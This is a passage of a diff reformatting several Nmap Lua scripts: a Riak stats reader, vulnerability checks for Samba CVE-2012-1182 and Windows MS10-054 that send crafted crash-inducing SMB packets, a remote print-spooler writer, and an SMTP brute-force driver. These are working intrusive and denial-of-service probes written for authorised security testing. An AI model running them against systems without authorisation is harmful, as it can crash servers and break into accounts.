|
||||
["erlang_js_version"] = { name = "Erlang JavaScript version" },
|
||||
["riak_kv_version"] = { name = "Riak kv version" },
|
||||
["luwak_version"] = { name = "Luwak version"},
|
||||
["merge_index_version"] = { name = "Merge index version" },
|
||||
["inets_version"] = { name = "Inets version" },
|
||||
["storage_backend"] = { name = "Storage backend" },
|
||||
["riak_sysmon_version"] = { name = "Riak sysmon version" },
|
||||
}
|
||||
|
||||
local order = {
|
||||
"nodename", "sys_system_architecture", "storage_backend", "mem_total",
|
||||
"crypto_version", "skerl_version", "os_mon_version", "basho_stats_version",
|
||||
"lager_version", "cluster_info_version", "luke_version", "sasl_version",
|
||||
"sys_driver_version", "bitcask_version", "riak_search_version",
|
||||
"kernel_version", "stdlib_version", "basho_metrics_version",
|
||||
"webmachine_version", "public_key_version", "riak_core_version",
|
||||
"riak_pipe_version", "runtime_tools_version", "ssl_version",
|
||||
"mochiweb_version", "erlang_js_version", "riak_kv_version",
|
||||
"luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version"
|
||||
"nodename", "sys_system_architecture", "storage_backend", "mem_total",
|
||||
"crypto_version", "skerl_version", "os_mon_version", "basho_stats_version",
|
||||
"lager_version", "cluster_info_version", "luke_version", "sasl_version",
|
||||
"sys_driver_version", "bitcask_version", "riak_search_version",
|
||||
"kernel_version", "stdlib_version", "basho_metrics_version",
|
||||
"webmachine_version", "public_key_version", "riak_core_version",
|
||||
"riak_pipe_version", "runtime_tools_version", "ssl_version",
|
||||
"mochiweb_version", "erlang_js_version", "riak_kv_version",
|
||||
"luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version"
|
||||
}
|
||||
|
||||
|
||||
@@ -107,39 +107,39 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local response = http.get(host, port, "/stats")
|
||||
local response = http.get(host, port, "/stats")
|
||||
|
||||
if ( not(response) or response.status ~= 200 ) then
|
||||
return
|
||||
end
|
||||
if ( not(response) or response.status ~= 200 ) then
|
||||
return
|
||||
end
|
||||
|
||||
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
||||
local _, http_status, _ = http.identify_404(host,port)
|
||||
if ( http_status == 200 ) then
|
||||
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
|
||||
return false
|
||||
end
|
||||
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
||||
local _, http_status, _ = http.identify_404(host,port)
|
||||
if ( http_status == 200 ) then
|
||||
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
|
||||
return false
|
||||
end
|
||||
|
||||
-- Silently abort if the server responds as anything different than
|
||||
-- MochiWeb
|
||||
if ( response.header['server'] and
|
||||
not(response.header['server']:match("MochiWeb")) ) then
|
||||
return
|
||||
end
|
||||
-- Silently abort if the server responds as anything different than
|
||||
-- MochiWeb
|
||||
if ( response.header['server'] and
|
||||
not(response.header['server']:match("MochiWeb")) ) then
|
||||
return
|
||||
end
|
||||
|
||||
local status, parsed = json.parse(response.body)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to parse response")
|
||||
end
|
||||
local status, parsed = json.parse(response.body)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to parse response")
|
||||
end
|
||||
|
||||
local result = tab.new(2)
|
||||
for _, item in ipairs(order) do
|
||||
if ( parsed[item] ) then
|
||||
local name = filter[item].name
|
||||
local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] )
|
||||
tab.addrow(result, name, val)
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, tab.dump(result))
|
||||
local result = tab.new(2)
|
||||
for _, item in ipairs(order) do
|
||||
if ( parsed[item] ) then
|
||||
local name = filter[item].name
|
||||
local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] )
|
||||
tab.addrow(result, name, val)
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, tab.dump(result))
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -62,69 +62,69 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"vuln","intrusive"}
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
action = function(host,port)
|
||||
|
||||
local result, stats
|
||||
local response = {}
|
||||
local result, stats
|
||||
local response = {}
|
||||
|
||||
local samba_cve = {
|
||||
title = "SAMBA remote heap overflow",
|
||||
IDS = {CVE = 'CVE-2012-1182'},
|
||||
risk_factor = "HIGH",
|
||||
scores = {
|
||||
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
|
||||
},
|
||||
description = [[
|
||||
local samba_cve = {
|
||||
title = "SAMBA remote heap overflow",
|
||||
IDS = {CVE = 'CVE-2012-1182'},
|
||||
risk_factor = "HIGH",
|
||||
scores = {
|
||||
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
|
||||
},
|
||||
description = [[
|
||||
Samba versions 3.6.3 and all versions previous to this are affected by
|
||||
a vulnerability that allows remote code execution as the "root" user
|
||||
from an anonymous connection.
|
||||
]],
|
||||
references = {
|
||||
'http://www.samba.org/samba/security/CVE-2012-1182',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2012', month = '03', day = '15'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
]],
|
||||
references = {
|
||||
'http://www.samba.org/samba/security/CVE-2012-1182',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2012', month = '03', day = '15'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
samba_cve.state = vulns.STATE.NOT_VULN
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
samba_cve.state = vulns.STATE.NOT_VULN
|
||||
|
||||
-- create SMB session
|
||||
local status, smbstate
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
|
||||
if(status == false) then
|
||||
return false, smbstate
|
||||
end
|
||||
-- create SMB session
|
||||
local status, smbstate
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
|
||||
if(status == false) then
|
||||
return false, smbstate
|
||||
end
|
||||
|
||||
-- bind to SAMR service
|
||||
local bind_result
|
||||
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
return false, bind_result
|
||||
end
|
||||
-- bind to SAMR service
|
||||
local bind_result
|
||||
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
return false, bind_result
|
||||
end
|
||||
|
||||
-- create malicious packet, same as in the PoC
|
||||
local data = bin.pack("<I",4096) -- num_sids
|
||||
.. "abcd"
|
||||
..bin.pack("<III",100
|
||||
,0
|
||||
,100)
|
||||
..string.rep("a",1000)
|
||||
-- create malicious packet, same as in the PoC
|
||||
local data = bin.pack("<I",4096) -- num_sids
|
||||
.. "abcd"
|
||||
..bin.pack("<III",100
|
||||
,0
|
||||
,100)
|
||||
..string.rep("a",1000)
|
||||
|
||||
local marshaledHandle = string.rep("X",20)
|
||||
status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
|
||||
stdnse.print_debug(2, "msrpc.samr_getaliasmembership: %s, '%s'", status, result)
|
||||
if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
|
||||
samba_cve.state = vulns.STATE.VULN -- connection droped, server crashed
|
||||
end
|
||||
local marshaledHandle = string.rep("X",20)
|
||||
status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
|
||||
stdnse.print_debug(2, "msrpc.samr_getaliasmembership: %s, '%s'", status, result)
|
||||
if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
|
||||
samba_cve.state = vulns.STATE.VULN -- connection droped, server crashed
|
||||
end
|
||||
|
||||
return report:make_output(samba_cve)
|
||||
return report:make_output(samba_cve)
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -28,7 +28,7 @@ which you can specify trough smb library arguments <code>smbuser</code> and
|
||||
-- |_smb-print-text: Printer job started using MyPrinter printer share.
|
||||
--
|
||||
-- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares.
|
||||
-- @args text Text to print. Either text or filename need to be specified.
|
||||
-- @args text Text to print. Either text or filename need to be specified.
|
||||
-- @args filename File to read text from (ASCII only).
|
||||
--
|
||||
|
||||
@@ -37,98 +37,98 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"intrusive"}
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
action = function(host,port)
|
||||
local status, smbstate
|
||||
local text = stdnse.get_script_args(SCRIPT_NAME .. '.text')
|
||||
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
|
||||
if (not text) and (not filename) then
|
||||
stdnse.print_debug("Script requires either text or filename script argument.")
|
||||
return false
|
||||
end
|
||||
local text_to_print
|
||||
if text then
|
||||
text_to_print = text
|
||||
else
|
||||
-- read text from file
|
||||
local file = io.open(filename, "rb")
|
||||
text_to_print = file:read("*all")
|
||||
end
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
|
||||
if(status == false) then
|
||||
stdnse.print_debug("SMB: " .. smbstate)
|
||||
return false, smbstate
|
||||
end
|
||||
local status, smbstate
|
||||
local text = stdnse.get_script_args(SCRIPT_NAME .. '.text')
|
||||
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
|
||||
if (not text) and (not filename) then
|
||||
stdnse.print_debug("Script requires either text or filename script argument.")
|
||||
return false
|
||||
end
|
||||
local text_to_print
|
||||
if text then
|
||||
text_to_print = text
|
||||
else
|
||||
-- read text from file
|
||||
local file = io.open(filename, "rb")
|
||||
text_to_print = file:read("*all")
|
||||
end
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
|
||||
if(status == false) then
|
||||
stdnse.print_debug("SMB: " .. smbstate)
|
||||
return false, smbstate
|
||||
end
|
||||
|
||||
local bind_result
|
||||
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
stdnse.print_debug("SMB: " .. bind_result)
|
||||
return false, bind_result
|
||||
end
|
||||
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
|
||||
-- if printer not set find available printers
|
||||
if not printer then
|
||||
stdnse.print_debug("No printer specified, trying to find one...")
|
||||
local lanman_result
|
||||
local REMSmb_NetShareEnum_P = "WrLeh"
|
||||
local REMSmb_share_info_1 = "B13BWz"
|
||||
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
|
||||
if status == false then
|
||||
stdnse.print_debug("SMB: " .. lanman_result)
|
||||
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
|
||||
return false
|
||||
end
|
||||
local bind_result
|
||||
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
stdnse.print_debug("SMB: " .. bind_result)
|
||||
return false, bind_result
|
||||
end
|
||||
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
|
||||
-- if printer not set find available printers
|
||||
if not printer then
|
||||
stdnse.print_debug("No printer specified, trying to find one...")
|
||||
local lanman_result
|
||||
local REMSmb_NetShareEnum_P = "WrLeh"
|
||||
local REMSmb_share_info_1 = "B13BWz"
|
||||
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
|
||||
if status == false then
|
||||
stdnse.print_debug("SMB: " .. lanman_result)
|
||||
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
|
||||
return false
|
||||
end
|
||||
|
||||
local parameters = lanman_result.parameters
|
||||
local data = lanman_result.data
|
||||
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
|
||||
pos = 0
|
||||
local share_type, name, _
|
||||
for i = 1, entry_count, 1 do
|
||||
_,share_type = bin.unpack(">s",data,pos+14)
|
||||
pos, name = bin.unpack("<z", data, pos)
|
||||
local parameters = lanman_result.parameters
|
||||
local data = lanman_result.data
|
||||
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
|
||||
pos = 0
|
||||
local share_type, name, _
|
||||
for i = 1, entry_count, 1 do
|
||||
_,share_type = bin.unpack(">s",data,pos+14)
|
||||
pos, name = bin.unpack("<z", data, pos)
|
||||
|
||||
-- pos needs to be rounded to the next even multiple of 20
|
||||
pos = pos + ( 20 - (#name % 20) ) - 1
|
||||
if share_type == 1 then -- share is printer
|
||||
stdnse.print_debug("Found printer share %s.", name)
|
||||
printer = name
|
||||
end
|
||||
end
|
||||
end
|
||||
if not printer then
|
||||
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
|
||||
return false
|
||||
end
|
||||
stdnse.print_debug("Using %s as printer.",printer)
|
||||
-- call RpcOpenPrinterEx - opnum 69
|
||||
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local printer_handle = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
|
||||
-- call RpcStartDocPrinter - opnum 17
|
||||
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,"nmap_print_test.txt") -- patched version will allow this
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local print_job_id = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
|
||||
-- pos needs to be rounded to the next even multiple of 20
|
||||
pos = pos + ( 20 - (#name % 20) ) - 1
|
||||
if share_type == 1 then -- share is printer
|
||||
stdnse.print_debug("Found printer share %s.", name)
|
||||
printer = name
|
||||
end
|
||||
end
|
||||
end
|
||||
if not printer then
|
||||
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
|
||||
return false
|
||||
end
|
||||
stdnse.print_debug("Using %s as printer.",printer)
|
||||
-- call RpcOpenPrinterEx - opnum 69
|
||||
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local printer_handle = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
|
||||
-- call RpcStartDocPrinter - opnum 17
|
||||
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,"nmap_print_test.txt") -- patched version will allow this
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local print_job_id = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
|
||||
|
||||
-- call RpcWritePrinter - 19
|
||||
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print)
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local write_result = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
|
||||
-- call RpcWritePrinter - 19
|
||||
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print)
|
||||
if not status then
|
||||
return false
|
||||
end
|
||||
local write_result = string.sub(result.data,25,#result.data-4)
|
||||
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
|
||||
|
||||
status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle)
|
||||
status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle)
|
||||
|
||||
return string.format("Printer job started using <%s> printer share.", printer)
|
||||
return string.format("Printer job started using <%s> printer share.", printer)
|
||||
end
|
||||
|
||||
@@ -45,102 +45,102 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"vuln","intrusive","dos"}
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
-- stolen from smb.lua as max data count needed to be modified to trigger the crash
|
||||
local function send_transaction2(smbstate, sub_command, function_parameters)
|
||||
local header, parameters, data, command
|
||||
local parameter_offset = 0
|
||||
local parameter_size = 0
|
||||
local data_offset = 0
|
||||
local data_size = 0
|
||||
local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
|
||||
local response = {}
|
||||
local header, parameters, data, command
|
||||
local parameter_offset = 0
|
||||
local parameter_size = 0
|
||||
local data_offset = 0
|
||||
local data_size = 0
|
||||
local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
|
||||
local response = {}
|
||||
|
||||
-- Header is 0x20 bytes long (not counting NetBIOS header).
|
||||
header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2
|
||||
-- Header is 0x20 bytes long (not counting NetBIOS header).
|
||||
header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2
|
||||
|
||||
if(function_parameters) then
|
||||
parameter_offset = 0x44
|
||||
parameter_size = #function_parameters
|
||||
data_offset = #function_parameters + 33 + 32
|
||||
end
|
||||
if(function_parameters) then
|
||||
parameter_offset = 0x44
|
||||
parameter_size = #function_parameters
|
||||
data_offset = #function_parameters + 33 + 32
|
||||
end
|
||||
|
||||
-- Parameters are 0x20 bytes long.
|
||||
parameters = bin.pack("<SSSSCCSISSSSSCCS",
|
||||
parameter_size, -- Total parameter count.
|
||||
data_size, -- Total data count.
|
||||
0x000a, -- Max parameter count.
|
||||
0x000a, -- Max data count, less than 12 causes a crash
|
||||
0x00, -- Max setup count.
|
||||
0x00, -- Reserved.
|
||||
0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
|
||||
0x00001388, -- Timeout (0x00000000 = return immediately).
|
||||
0x0000, -- Reserved.
|
||||
parameter_size, -- Parameter bytes.
|
||||
parameter_offset, -- Parameter offset.
|
||||
data_size, -- Data bytes.
|
||||
data_offset, -- Data offset.
|
||||
0x01, -- Setup Count
|
||||
0x00, -- Reserved
|
||||
sub_command -- Sub command
|
||||
)
|
||||
-- Parameters are 0x20 bytes long.
|
||||
parameters = bin.pack("<SSSSCCSISSSSSCCS",
|
||||
parameter_size, -- Total parameter count.
|
||||
data_size, -- Total data count.
|
||||
0x000a, -- Max parameter count.
|
||||
0x000a, -- Max data count, less than 12 causes a crash
|
||||
0x00, -- Max setup count.
|
||||
0x00, -- Reserved.
|
||||
0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
|
||||
0x00001388, -- Timeout (0x00000000 = return immediately).
|
||||
0x0000, -- Reserved.
|
||||
parameter_size, -- Parameter bytes.
|
||||
parameter_offset, -- Parameter offset.
|
||||
data_size, -- Data bytes.
|
||||
data_offset, -- Data offset.
|
||||
0x01, -- Setup Count
|
||||
0x00, -- Reserved
|
||||
sub_command -- Sub command
|
||||
)
|
||||
|
||||
local data = "\0\0\0" .. (function_parameters or '')
|
||||
local data = "\0\0\0" .. (function_parameters or '')
|
||||
|
||||
-- Send the transaction request
|
||||
stdnse.print_debug(2, "SMB: Sending SMB_COM_TRANSACTION2")
|
||||
local result, err = smb.smb_send(smbstate, header, parameters, data, {})
|
||||
if(result == false) then
|
||||
return false, err
|
||||
end
|
||||
-- Send the transaction request
|
||||
stdnse.print_debug(2, "SMB: Sending SMB_COM_TRANSACTION2")
|
||||
local result, err = smb.smb_send(smbstate, header, parameters, data, {})
|
||||
if(result == false) then
|
||||
return false, err
|
||||
end
|
||||
|
||||
return true
|
||||
return true
|
||||
end
|
||||
|
||||
action = function(host,port)
|
||||
if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
|
||||
stdnse.print_debug("You must specify unsafe script argument to run this script.")
|
||||
return false
|
||||
end
|
||||
local ms10_054 = {
|
||||
title = "SMB remote memory corruption vulnerability",
|
||||
IDS = {CVE = 'CVE-2010-2550'},
|
||||
risk_factor = "HIGH",
|
||||
scores = {
|
||||
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
|
||||
},
|
||||
description = [[
|
||||
if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
|
||||
stdnse.print_debug("You must specify unsafe script argument to run this script.")
|
||||
return false
|
||||
end
|
||||
local ms10_054 = {
|
||||
title = "SMB remote memory corruption vulnerability",
|
||||
IDS = {CVE = 'CVE-2010-2550'},
|
||||
risk_factor = "HIGH",
|
||||
scores = {
|
||||
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
|
||||
},
|
||||
description = [[
|
||||
The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
|
||||
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
|
||||
does not properly validate fields in an SMB request, which allows remote attackers
|
||||
to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
|
||||
]],
|
||||
references = {
|
||||
'http://seclists.org/fulldisclosure/2010/Aug/122',
|
||||
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2010', month = '08', day = '11'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
]],
|
||||
references = {
|
||||
'http://seclists.org/fulldisclosure/2010/Aug/122',
|
||||
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2010', month = '08', day = '11'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
ms10_054.state = vulns.STATE.NOT_VULN
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
ms10_054.state = vulns.STATE.NOT_VULN
|
||||
|
||||
local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"
|
||||
local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"
|
||||
|
||||
local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
|
||||
local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
|
||||
|
||||
local param = "0501" -- Query FS Attribute Info
|
||||
local status, result = send_transaction2(smbstate,0x03,bin.pack("H",param))
|
||||
status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim
|
||||
if not status then -- if not , it has crashed
|
||||
ms10_054.state = vulns.STATE.VULN
|
||||
else
|
||||
stdnse.print_debug("Machine is not vulnerable")
|
||||
end
|
||||
return report:make_output(ms10_054)
|
||||
local param = "0501" -- Query FS Attribute Info
|
||||
local status, result = send_transaction2(smbstate,0x03,bin.pack("H",param))
|
||||
status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim
|
||||
if not status then -- if not , it has crashed
|
||||
ms10_054.state = vulns.STATE.VULN
|
||||
else
|
||||
stdnse.print_debug("Machine is not vulnerable")
|
||||
end
|
||||
return report:make_output(ms10_054)
|
||||
end
|
||||
|
||||
@@ -47,93 +47,93 @@ ConnectionPool = {}
|
||||
Driver =
|
||||
{
|
||||
|
||||
-- Creates a new driver instance
|
||||
-- @param host table as received by the action method
|
||||
-- @param port table as received by the action method
|
||||
-- @param pool an instance of the ConnectionPool
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- Creates a new driver instance
|
||||
-- @param host table as received by the action method
|
||||
-- @param port table as received by the action method
|
||||
-- @param pool an instance of the ConnectionPool
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- Connects to the server (retrieves a connection from the pool)
|
||||
connect = function( self )
|
||||
self.socket = ConnectionPool[coroutine.running()]
|
||||
if ( not(self.socket) ) then
|
||||
self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
|
||||
if ( not(self.socket) ) then return false end
|
||||
ConnectionPool[coroutine.running()] = self.socket
|
||||
end
|
||||
return true
|
||||
end,
|
||||
-- Connects to the server (retrieves a connection from the pool)
|
||||
connect = function( self )
|
||||
self.socket = ConnectionPool[coroutine.running()]
|
||||
if ( not(self.socket) ) then
|
||||
self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
|
||||
if ( not(self.socket) ) then return false end
|
||||
ConnectionPool[coroutine.running()] = self.socket
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
-- Attempts to login to the server
|
||||
-- @param username string containing the username
|
||||
-- @param password string containing the password
|
||||
-- @return status true on success, false on failure
|
||||
-- @return brute.Error on failure and brute.Account on success
|
||||
login = function( self, username, password )
|
||||
local status, err = smtp.login( self.socket, username, password, mech )
|
||||
if ( status ) then
|
||||
smtp.quit(self.socket)
|
||||
ConnectionPool[coroutine.running()] = nil
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( err:match("^ERROR: Failed to .*") ) then
|
||||
self.socket:close()
|
||||
ConnectionPool[coroutine.running()] = nil
|
||||
local err = brute.Error:new( err )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
-- Attempts to login to the server
|
||||
-- @param username string containing the username
|
||||
-- @param password string containing the password
|
||||
-- @return status true on success, false on failure
|
||||
-- @return brute.Error on failure and brute.Account on success
|
||||
login = function( self, username, password )
|
||||
local status, err = smtp.login( self.socket, username, password, mech )
|
||||
if ( status ) then
|
||||
smtp.quit(self.socket)
|
||||
ConnectionPool[coroutine.running()] = nil
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( err:match("^ERROR: Failed to .*") ) then
|
||||
self.socket:close()
|
||||
ConnectionPool[coroutine.running()] = nil
|
||||
local err = brute.Error:new( err )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
-- Disconnects from the server (release the connection object back to
|
||||
-- the pool)
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
-- Disconnects from the server (release the connection object back to
|
||||
-- the pool)
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true })
|
||||
if ( not(socket) ) then return "\n ERROR: Failed to connect to SMTP server" end
|
||||
local status, response = smtp.ehlo(socket, smtp.get_domain(host))
|
||||
if ( not(status) ) then return "\n ERROR: EHLO command failed, aborting ..." end
|
||||
local mechs = smtp.get_auth_mech(response)
|
||||
if ( not(mechs) ) then
|
||||
return "\n ERROR: Failed to retrieve authentication mechanisms form server"
|
||||
end
|
||||
smtp.quit(socket)
|
||||
local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true })
|
||||
if ( not(socket) ) then return "\n ERROR: Failed to connect to SMTP server" end
|
||||
local status, response = smtp.ehlo(socket, smtp.get_domain(host))
|
||||
if ( not(status) ) then return "\n ERROR: EHLO command failed, aborting ..." end
|
||||
local mechs = smtp.get_auth_mech(response)
|
||||
if ( not(mechs) ) then
|
||||
return "\n ERROR: Failed to retrieve authentication mechanisms form server"
|
||||
end
|
||||
smtp.quit(socket)
|
||||
|
||||
local mech_prio = stdnse.get_script_args("smtp-brute.auth")
|
||||
mech_prio = ( mech_prio and { mech_prio } ) or
|
||||
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
|
||||
local mech_prio = stdnse.get_script_args("smtp-brute.auth")
|
||||
mech_prio = ( mech_prio and { mech_prio } ) or
|
||||
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
|
||||
|
||||
for _, mp in ipairs(mech_prio) do
|
||||
for _, m in pairs(mechs) do
|
||||
if ( mp == m ) then
|
||||
mech = m
|
||||
break
|
||||
end
|
||||
end
|
||||
if ( mech ) then break end
|
||||
end
|
||||
for _, mp in ipairs(mech_prio) do
|
||||
for _, m in pairs(mechs) do
|
||||
if ( mp == m ) then
|
||||
mech = m
|
||||
break
|
||||
end
|
||||
end
|
||||
if ( mech ) then break end
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
|
||||
engine.options.script_name = SCRIPT_NAME
|
